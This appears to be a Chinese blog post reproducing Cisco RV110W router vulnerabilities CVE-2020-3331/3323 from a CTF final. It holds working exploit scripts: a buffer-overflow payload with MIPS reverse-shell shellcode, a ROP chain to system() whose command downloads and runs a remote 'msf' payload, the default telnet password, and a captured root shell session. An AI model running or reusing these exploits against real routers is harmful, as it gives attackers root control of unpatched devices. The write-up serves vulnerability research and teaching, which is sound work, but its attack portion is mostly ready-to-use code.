美文网首页
思科路由器 RV110W CVE-2020-3331 / CVE

思科路由器 RV110W CVE-2020-3331 / CVE

作者: 飞熊先生 | 来源:发表于2021-04-24 18:30 被阅读0次

    思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现

    复现的是思科路由器RV110W CVE-2020-3331 / CVE-2020-3323 漏洞,参考文章
    思科路由器 RV110W CVE-2020-3331 / CVE-2020-3323 漏洞复现

    在强网杯RealWorld比赛中,IOT题目


    2020强网杯决赛Cisco路由器

    漏洞介绍

    漏洞介绍

    CVE编号 漏洞详情
    CVE-2020-3331 Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。
    CVE-2020-3330 Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。
    CVE-2020-3323 Cisco Small Business RV110W,RV130,RV130W和RV215W路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于在基于Web的管理界面中未正确验证用户提供的输入而引起的。攻击者可以通过向目标设备发送特制的HTTP请求来利用此漏洞。成功的利用可能使攻击者能够以root用户身份在受影响设备的基础操作系统上执行任意代码。
    CVE-2020-3150 Cisco Small Business RV110W和RV215W系列路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者从设备下载敏感信息,其中可能包括设备配置。该漏洞是由于对HTTP请求的授权不当造成的。攻击者可以通过在路由器的基于Web的管理界面上访问特定的URI来利用此漏洞,但这仅在自上次重新启动以来任何有效用户打开设备上的特定文件之后。成功利用此漏洞将使攻击者可以查看敏感信息,应对此加以限制。
    CVE-2020-3144 思科RV110W无线N VPN防火墙,RV130 VPN路由器,RV130W无线N多功能VPN路由器和RV215W无线N VPN路由器的基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者绕过身份验证并执行受影响的设备上带有管理命令的任意命令。该漏洞是由于受影响的设备上的会话管理不当引起的。攻击者可以通过向受影响的设备发送特制的HTTP请求来利用此漏洞。成功利用该漏洞可能使攻击者获得受影响设备上的管理访问权限。

    端口扫描

    端口扫描结果,


    EXP验证

    首先跑一遍EXP

    from pwn import *
    import thread,requests
    context(arch='mips',endian='little',os='linux')
    io     = listen(31337)
    libc   = 0x2af98000
    jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
    jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0 
    
    shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    shellcode += "\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
    
    payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shellcode
    paramsPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.1.100"}
    
    def attack():
        try: requests.post("https://192.168.1.1/guest_logout.cgi", data=paramsPost, verify=False,timeout=1)
        except: pass
    
    thread.start_new_thread(attack,())
    io.wait_for_connection()
    log.success("getshell")
    io.interactive()
    

    结果如下:


    定位漏洞

    找到漏洞的步骤主要有以下三种:

    1. 动态测试
    2. 静态审计
    3. 补丁比对
      已知存在漏洞的固件版本号是1.5,和最新的固件版本1.8下载下来,用binwalk解压缩后,比较两个版本固件的httpd程序能够快速定位漏洞位置。补丁比对通常用bindiff。这里遇到一个大坑,win 10 环境下用7.2版本IDA和bindiff6进行二进制比对,运算时间特别长,运算了一个下午都没运算出来。最后用老版本的Bindiff 4.2和IDA 6.8才算能正常运行。
      比对结果如下图所示:

      根据函数名和漏洞信息,漏洞信息透露是在前台操作中存在漏洞,导致未授权恶意用户能够控制机器。猜测漏洞位置在guest_logout_cgi。
      打开发现存在1.5版本固件存在危险函数sscanf

    漏洞原理

    具体分析漏洞原理,从sccanf入手向上跟踪,用ghigra反编译伪代码如下所示:

    
    undefined4 guest_logout_cgi(undefined4 param_1)
    
    {
      char cVar1;
      bool bVar2;
      int iVar3;
      char *pcVar4;
      size_t sVar5;
      FILE *pFVar6;
      char *pcVar7;
      char *pcVar8;
      char *pcVar9;
      char *local_c0;
      undefined1 *local_bc;
      char *local_b8;
      char *local_b4;
      undefined4 local_b0;
      char acStack172 [64];
      char acStack108 [68];
      
      iVar3 = get_cgi(&DAT_004819b0);
      pcVar4 = (char *)get_cgi(&DAT_004819b0);
      sVar5 = strlen(pcVar4);
      pcVar8 = (char *)(iVar3 + sVar5 + -1);
      pcVar4 = (char *)get_cgi(&DAT_004819b0);
      if (pcVar4 < pcVar8) {
        do {
          cVar1 = *pcVar8;
          if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
          *pcVar8 = '\0';
          pcVar8 = pcVar8 + -1;
          pcVar4 = (char *)get_cgi(&DAT_004819b0);
        } while (pcVar4 < pcVar8);
      }
      pcVar4 = (char *)get_cgi(&DAT_004819b0);
      iVar3 = get_cgi(&DAT_004819b8);
      pcVar8 = (char *)get_cgi(&DAT_004819b8);
      sVar5 = strlen(pcVar8);
      pcVar9 = (char *)(iVar3 + sVar5 + -1);
      pcVar8 = (char *)get_cgi(&DAT_004819b8);
      if (pcVar8 < pcVar9) {
        do {
          cVar1 = *pcVar9;
          if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
          *pcVar9 = '\0';
          pcVar9 = pcVar9 + -1;
          pcVar8 = (char *)get_cgi(&DAT_004819b8);
        } while (pcVar8 < pcVar9);
      }
      pcVar8 = (char *)get_cgi(&DAT_004819b8);
      pcVar9 = (char *)get_cgi("submit_button");
      if (pcVar9 == (char *)0x0) {
        pcVar9 = "";
      }
      if (pcVar4 == (char *)0x0) {
        return 0;
      }
      if (pcVar8 == (char *)0x0) {
        return 0;
      }
      memset(acStack108,0,0x40);
      memset(acStack172,0,0x40);
      pFVar6 = fopen("/dev/console","w");
      if (pFVar6 != (FILE *)0x0) {
        fprintf(pFVar6,"\n  mac=[%s], ip=[%s], submit_button=[%s]\n",pcVar4,pcVar8,pcVar9);
        fclose(pFVar6);
      }
      iVar3 = VERIFY_MAC_17(pcVar4);
      if ((iVar3 == 0) || (iVar3 = VERIFY_IPv4(pcVar8), iVar3 == 0)) {
        pFVar6 = fopen("/dev/console","w");
        if (pFVar6 == (FILE *)0x0) {
          return 0;
        }
        fprintf(pFVar6,"\n%s(%d)  Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]\n",
                "guest_logout_cgi",0x1542,pcVar4,pcVar8,pcVar9);
        fclose(pFVar6);
        return 0;
      }
      pcVar7 = strstr(pcVar9,"status_guestnet.asp");
      if (pcVar7 == (char *)0x0) {
    LAB_00431d24:
        pcVar7 = (char *)nvram_get("http_client_mac");
        if (((pcVar7 == (char *)0x0) || (iVar3 = strcmp(pcVar7,pcVar4), iVar3 == 0)) &&
           ((pcVar7 = (char *)nvram_get("http_client_ip"), pcVar7 == (char *)0x0 ||
            (iVar3 = strcmp(pcVar7,pcVar8), iVar3 == 0)))) {
          bVar2 = false;
          goto LAB_00431c68;
        }
        pFVar6 = fopen("/dev/console","w");
        if (pFVar6 != (FILE *)0x0) {
          fprintf(pFVar6,
                  "\n%s(%d)  Drop session, ip and mac invmatch,mac=[%s], ip=[%s],submit_button=[%s]\n",
                  "guest_logout_cgi",0x1551,pcVar4,pcVar8,pcVar9);
          fclose(pFVar6);
        }
      }
      else {
        sscanf(pcVar9,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
        pFVar6 = fopen("/dev/console","w");
        if (pFVar6 != (FILE *)0x0) {
          fprintf(pFVar6,"\n%s(%d),submit_button = [%s] url=[%s],session_id=[%s]\n","guest_logout_cgi",
                  0x1549,pcVar9,acStack108,acStack172);
          fclose(pFVar6);
        }
        pcVar7 = (char *)nvram_get("session_key");
        if (pcVar7 == (char *)0x0) goto LAB_00431d24;
        iVar3 = strcmp(pcVar7,acStack172);
        bVar2 = true;
        if (iVar3 != 0) goto LAB_00431d24;
    LAB_00431c68:
        syslog(6,"The mac is %s and IP is %s of guest network user logout.",pcVar4,pcVar8);
        if ((debug != 0) && (pFVar6 = fopen("/dev/console","w"), pFVar6 != (FILE *)0x0)) {
          fprintf(pFVar6,"%s(): \n  mac=[%s], ip=[%s],submit_button=[%s]\n","guest_logout_cgi",pcVar4,
                  pcVar8,pcVar9);
          fclose(pFVar6);
        }
        local_c0 = "/sbin/cron_gn";
        local_bc = &DAT_00485fe4;
        local_b0 = 0;
        local_b8 = pcVar4;
        local_b4 = pcVar8;
        _eval(&local_c0,">/dev/console",0,0);
        if ((bVar2) && (iVar3 = strcmp(acStack108,"status_guestnet.asp"), iVar3 == 0))
        goto LAB_00431de8;
      }
      iVar3 = strcmp(pcVar9,"login_guest.asp");
      if (iVar3 != 0) {
        return 0;
      }
    LAB_00431de8:
      sVar5 = strlen(acStack108);
      if (sVar5 < 6) {
        do_ej(pcVar9,param_1);
      }
      else {
        do_ej(acStack108,param_1);
      }
      return 0;
    }
    

    关键代码如下所示:

      pcVar4 = (char *)get_cgi(&DAT_004819b0);
      pcVar8 = (char *)get_cgi(&DAT_004819b8);
      pcVar9 = (char *)get_cgi("submit_button");
      pFVar6 = fopen("/dev/console","w");
      if (pFVar6 != (FILE *)0x0) {
        fprintf(pFVar6,"\n  mac=[%s], ip=[%s], submit_button=[%s]\n",pcVar4,pcVar8,pcVar9);
        fclose(pFVar6);
      }
      memset(acStack108,0,0x40);
      memset(acStack172,0,0x40);
     pcVar7 = strstr(pcVar9,"status_guestnet.asp");
     if (pcVar7 != (char *)0x0)
     {  
         sscanf(pcVar9,"%[^;];%*[^=]=%[^\n]",acStack108,acStack172);
    }
    
    

    便来用pcVar9得到的值在向acStack108,acStack172进行传递时,由于未对其大小进行验证,导致缓冲区溢出。
    下面的问题是搞清楚如何提交其参数。
    对于pcVar4和pcVar8,在&DAT_004819b0和&DAT_004819b8位置单击右键,识别为字符串结果如下图所示:


    &DAT_004819b0
    i&DAT_004819b8

    显然,pcVar4和pcVar8

      pcVar4 = (char *)get_cgi(&DAT_004819b0);
      pcVar8 = (char *)get_cgi(&DAT_004819b8);
    

    在网上搜索guest_logout.cgi,发现这是该设备的很多历史漏洞和该cgi有关,例如C VE-2018-0423、CVE-2018-0424、CVE-2018-0425、CVE-2018-0426[漏洞预警 | 思科产品曝多个高危安全漏洞(附详细技术分析)](https://www.anquanke.com/post/id/159183)以及CVE-2019-1897CVE-2019-1898CVE-2019-1899
    对于CVE-2019-1897 的应用示例如下所示:

    curl -vv -d "submit_button=status_guestnet.asp&change_action=&submit_type=&gui_action=&cip=10.0.1.100&cmac=10:08:B1:A0:82:29a" -H "Content-Type: application/x-www-form-urlencoded" -X POST http://10.0.0.1/guest_logout.cgi
    

    因此可以判断利用post提交噢submit_buttom参数,此外还需要cip和cmac参数,而且需符合格式要求才能使程序运行到sccanf函数段。
    另外需要特别说明一下“%[^;];%*[^=]=%[^\n]”的含义,它是一种正则表达式,%[^;]:分号前的所有字符都要,;%*[^=]:分号后,等号前的字符都不要。
    =%[^\n]:等号后,换行符前的所有字符都要是取 ;前和=后的值,例如如果传递的值是aaa;bbb=ccc,那么acStack108是aaa,acStack172是ccc

    漏洞利用

    明显栈溢出漏洞,利用思路就很简单:
    搭建调试环境=>确定偏移量=>写入shellcode=>跳转到shellcode=>执行shellcode

    1.上传gdbserver,搭建调试环境

    H4LO上传的编译好的 mips32位静态编译调试程序/gdbserver,首先通过python在本机上建立简单的web
    $ python -m SimpleHTTPServe
    之后通过telnet连接路由器,用户名是admin,密码是Admin123:

     $ telnet 192.168.1.1
    Trying 192.168.1.1...
    Connected to 192.168.1.1.
    Escape character is '^]'.
    RV110W login: admin
    Password: 
    
    
    BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    #
    

    切换到tmp路径下,

    # wget http://192.168.1.123:8000/gdbserver 
    Connecting to 192.168.1.123:8000 (192.168.1.123:8000)
    gdbserver            100% |*******************************|  1011k 00:00:00 ETA
    

    同时看到本地termial显示gdbserver顺利上传过去

     $ python -m SimpleHTTPServer 
    Serving HTTP on 0.0.0.0 port 8000 ...
    192.168.1.1 - - [28/Feb/2021 23:49:32] "GET /gdbserver HTTP/1.1" 200 -
    

    同样的方法也可以把编译好的busybox上传上去,通过命令可查看httpd对应的pid号。

    $ ./busybox-mipsel netstat -pantu | grep 443
    tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      356/httpd
    tcp        0      0 :::443                  :::*                    LISTEN      356/httpd
    

    之后在路由器用gdbserver attach上httpd对应进程即可调试:

    $ chmod +x ./gdbserver
    $ ./gdbserver :1234 --attach 356
    

    之后在本地通过gdb远程调试

    $ gdb-muliarch ./httpd
    pwndbg> set architecture mips
    pwndbg> set endian little
    pwndbg> target remote 192.168.1.1:1234
    pwndbg> c
    

    至此,调试环境搭建完成。

    2. 确定偏移量

    利用request和pwntools发送post畸形包:

    import requests
    from pwn import *
    
    url = "https://192.168.1.1/guest_logout.cgi"
    b = cyclic(100)
    print b
    payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(100),"cip":"192.168.1.100"}
    requests.post(url, data=payload, verify=False, timeout=1)
    

    发送过后httpd崩溃,检测到溢出:

    Program received signal SIGSEGV, Segmentation fault.
    0x77616161 in ?? ()
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ─────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────
     V0   0x0
     V1   0x73
     A0   0x4d81f2 (post_buf+66) ◂— 0x75746174 ('tatu')
     A1   0x47f785 ◂— 'ogin_guest.asp'
     A2   0x70
     A3   0x50c160 ◂— 0x0
     T0   0x50c108 ◂— 0x402409ef
     T1   0x50c108 ◂— 0x402409ef
     T2   0x19
     T3   0xfffffff0
     T4   0x61617361 ('asaa')
     T5   0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
     T6   0xca5fb1e
     T7   0x61617461 ('ataa')
     T8   0x3
     T9   0x2afc64d0 (strcoll) ◂— lbu    $v1, ($a0)
     S0   0x6e616161 ('aaan')
     S1   0x6f616161 ('aaao')
     S2   0x70616161 ('aaap')
     S3   0x71616161 ('aaaq')
     S4   0x72616161 ('aaar')
     S5   0x73616161 ('aaas')
     S6   0x74616161 ('aaat')
     S7   0x75616161 ('aaau')
     S8   0x76616161 ('aaav')
     FP   0x7fd38458 ◂— 'aaaxaaayaaa'
     SP   0x7fd38458 ◂— 'aaaxaaayaaa'
     PC   0x77616161 ('aaaw')
    ───────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────
    Invalid address 0x77616161
    

    通过cyclic -l "string"确定偏移量。

    pwndbg> cyclic -l "aaaw"
    85
    

    偏移量是85,之所以不是偶数是以为还要算上status_guestnet.asp,修改程序在验证一下:

    import requests
    from pwn import *
    
    url = "https://192.168.1.1/guest_logout.cgi"
    b = cyclic(100)
    print b
    payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(85)+p32(0xdeadbeaf),"cip":"192.168.1.100"}
    requests.post(url, data=payload, verify=False, timeout=1)
    

    之后程序崩溃现场如下:

    xdeadbeaf in ?? ()
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ─────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────
     V0   0x0
     V1   0x73
     A0   0x4d81f2 (post_buf+66) ◂— 0x75746174 ('tatu')
     A1   0x47f785 ◂— 'ogin_guest.asp'
     A2   0xb0
     A3   0x4f92a8 ◂— 0x0
     T0   0x4f9250 ◂— 0xe9d5c2b0
     T1   0x4f9250 ◂— 0xe9d5c2b0
     T2   0x59
     T3   0xfffffff0
     T4   0x61617361 ('asaa')
     T5   0x2b030004 (__ctype_b) —▸ 0x2afeabc0 (__C_ctype_b_data+256) ◂— 0x2000200
     T6   0xca5fb1e
     T7   0x61617461 ('ataa')
     T8   0x2
     T9   0x2afc64d0 (strcoll) ◂— lbu    $v1, ($a0)
     S0   0x6e616161 ('aaan')
     S1   0x6f616161 ('aaao')
     S2   0x70616161 ('aaap')
     S3   0x71616161 ('aaaq')
     S4   0x72616161 ('aaar')
     S5   0x73616161 ('aaas')
     S6   0x74616161 ('aaat')
     S7   0x75616161 ('aaau')
     S8   0x76616161 ('aaav')
     FP   0x7fdf1408 —▸ 0x4fa200 ◂— 0x0
     SP   0x7fdf1408 —▸ 0x4fa200 ◂— 0x0
     PC   0xdeadbeaf
    ───────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────
    Invalid address 0xdeadbeaf
    

    3. 另一种EXP: ROP到system(cmd)

    除了一开始列举的poc,执行shellcode回连shell以外,也可以通过调用system(cmd)的方法达成利用
    利用telnet连接路由器,用户名wget:

    $ telnet 192.168.1.1
    Trying 192.168.1.1...
    Connected to 192.168.1.1.
    Escape character is '^]'.
    RV110W login: admin
    Password: 
    
    
    BusyBox v1.7.2 (2019-04-22 16:08:01 CST) built-in shell (ash)
    

    上传静态编译的busybox和gdbserver。

    libc地址以固定的。

    cmd放在栈上,直接用system(cmd)

    下载木马,执行回连shell
    利用ida插件mipsrop查找libc的可用rop。
    第一步是导入mipsrop

    python > import  mipsrop
    python > mipsrop =  mipsrop.MIPSROPfinder()
    

    之后,运行mipsrop.stackfinder

    Python>mipsrop.stackfinder()
    ----------------------------------------------------------------------------------------------------------------
    |  Address     |  Action                                              |  Control Jump                          |
    ----------------------------------------------------------------------------------------------------------------
    |  0x0000BA84  |  addiu $a1,$sp,0x158+var_A0                          |  jalr  $s0                             |
    |  0x00011918  |  addiu $a2,$sp,0x68+var_40                           |  jalr  $s1                             |
    |  0x000250A8  |  addiu $s0,$sp,0x278+var_250                         |  jalr  $fp                             |
    |  0x000257A0  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s0                             |
    |  0x00025CAC  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
    |  0x0002747C  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s3                             |
    |  0x0002CC00  |  addiu $a0,$sp,0x38+var_10                           |  jalr  $s0                             |
    

    思路是劫持httpd进程到system(cmd),通过0x257A00x25CAC的gadget可以劫持s0/s3到system函数对应地址,将距离栈顶0x38-0x20=0x18的cmd传递给a0

    text:000257A0                 addiu   $a0, $sp, 0x38+var_20
    .text:000257A4                 move    $t9, $s0
    .text:000257A8                 jalr    $t9
    

    完成exp如下所示:

    import requests
    from pwn import *
    
    url = "https://192.168.1.1/guest_logout.cgi"
    libc_base = 0x2af98000
    move_a0_s2_jalr_s1 = 0x0040bb14
    jmp_s0 = libc_base + 0x00025cac#A0
    system = libc_base +0x0004C7E0
    
    cmd = b"cd /tmp &&\
        wget http://192.168.1.100:8000/msf && \
           chmod +x ./msf && \
           ./msf"
    # cmd ="echo 1111"
    
    print(hex(jmp_s0))
    payload_0 = b"status_guestnet.asp"+cyclic(49)+p32(system)+cyclic(8)+p32(system)+cyclic(0x20-12)+p32(jmp_s0)+0x18*b'a'+cmd
    payload = {"cmac":b"12:af:aa:bb:cc:dd","submit_button":payload_0,"cip":b"192.168.1.100"}
    requests.post(url, data=payload, verify=False, timeout=1)
    

    在gdb下断点在jmp_s3对应地址,看到此时s3寄存器为system函数地址,而a0寄存器是放在栈上的对应cmd
    cmd执行的操作是下载恶意文件。赋予可执行权限后执行,得到回连shell

    gef➤  c                                            
    Continuing.                                        
    ^C                                                 
    Program received signal SIGINT, Interrupt.         
    0x2afa7c64 in wait4 () from target:/lib/libc.so.0  
    [ Legend: Modified register | Code | Heap | Stack | String ]                                          
    ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
    $zero: 0x200                                       
    $at  : 0x11009c00                                  
    $v0  : 0x200                                       
    $v1  : 0x2b038530           
    $a0  : 0xeee                                       
    $a1  : 0x7fa0a3e0  →  0x2afe47e0  →  <system+0> lui gp, 0x5                                           
    $a2  : 0x0                                         
    $a3  : 0x1                                         
    $t0  : 0x0050beb0  →  0x00000000                   
    $t1  : 0x0050beb0  →  0x00000000                   
    $t2  : 0x69                                        
    $t3  : 0xfffffff0                                  
    $t4  : 0x20202020 ("    "?)                        
    $t5  : 0x2b030004  →  0x2afeabc0  →  0x02000200    
    $t6  : 0x20202020 ("    "?)                        
    $t7  : 0x6d686320 (" chm"?)                        
    $s0  : 0xeee                                       
    $s1  : 0x2afe1280  →  <signal+0> lui gp, 0x5       
    $s2  : 0x0                                         
    $s3  : 0x0                                         
    $s4  : 0x0                                         
    $s5  : 0x7fa0a420  →  "cd /tmp &&    wget http://192.168.1.100:8000/msf &[...]"                       
    $s6  : 0x61616163 ("caaa"?)                        
    $s7  : 0x61616164 ("daaa"?)                        
    $t8  : 0x2                                         
    $t9  : 0x2afa7c40  →  <wait4+0> lui gp, 0x9        
    $k0  : 0x0                                         
    $k1  : 0x0                                         
    $s8  : 0x61616165 ("eaaa"?) 
    s8  : 0x61616165 ("eaaa"?)
    $pc  : 0x2afa7c64  →  <wait4+36> beqz a3, 0x2afa7c84 <wait4+68>
    $sp  : 0x7fa0a3a0  →  0x00000000
    $hi  : 0x5       
    $lo  : 0x0       
    $fir : 0x0       
    $ra  : 0x2afe49a0  →  0x00401821  →  0x00004d6f ("oM"?)
    $gp  : 0x2b038530
    ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
    0x7fa0a3a0│+0x0000: 0x00000000   ← $sp
    0x7fa0a3a4│+0x0004: 0x00000000
    0x7fa0a3a8│+0x0008: 0x00000000
    0x7fa0a3ac│+0x000c: 0x00000000
    0x7fa0a3b0│+0x0010: 0x2b038530
    0x7fa0a3b4│+0x0014: 0x63616161
    0x7fa0a3b8│+0x0018: 0x00000eee
    0x7fa0a3bc│+0x001c: 0x2afe49a0  →  0x00401821  →  0x00004d6f ("oM"?)
    ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:mips:MIPS32 ────
       0x2afa7c58 <wait4+24>       sw     gp, 16(sp)
       0x2afa7c5c <wait4+28>       li     v0, 4114
       0x2afa7c60 <wait4+32>       syscall 
    

    查看tmp文件夹下的文件:

    # ls
    action             dnsmasq.conf       lld2d.conf         startup.cfg
    bcmupnp.pid        email.conf         media              udhcpc
    bonj.conf          gdbserver          msf                udhcpc.expires
    busybox-mips       group              passwd             udhcpd-br0.conf
    busybox-mipsel     inter_route        qos                udhcpd-br0.leases
    cert.pem           ipsec_https_ipt    quickvpn           var
    config.txt         ipsec_secrets      shadow             www
    cron.d             key.pem            snmpd.conf
    

    可以看到恶意文件msf存在,证明成功劫持httpd到system(cmd)上。
    在本地192.168.1.1开启监听端口4444,并python -m http.server构建一个简单的httpserver,供目标远程下载木马

    >nc -vlp 4444
    listening on [any] 4444 ...
    192.168.1.1: inverse host lookup failed: h_errno 11004: NO_DATA
    connect to [192.168.1.100] from (UNKNOWN) [192.168.1.1] 54566: NO_DATA
    ls
    action
    bcmupnp.pid
    bonj.conf
    busybox-mips
    busybox-mipsel
    cert.pem
    config.txt
    cron.d
    dnsmasq.conf
    email.conf
    gdbserver
    group
    inter_route
    ipsec_https_ipt
    ipsec_secrets
    key.pem
    lld2d.conf
    media
    msf
    passwd
    qos
    quickvpn
    shadow
    snmpd.conf
    startup.cfg
    udhcpc
    udhcpc.expires
    udhcpd-br0.conf
    udhcpd-br0.leases
    var
    www
    id
    uid=0(admin) gid=0(admin)
    

    成功获取反弹shell

    相关文章

      网友评论

          本文标题:思科路由器 RV110W CVE-2020-3331 / CVE

          本文链接:https://www.haomeiwen.com/subject/tizrtltx.html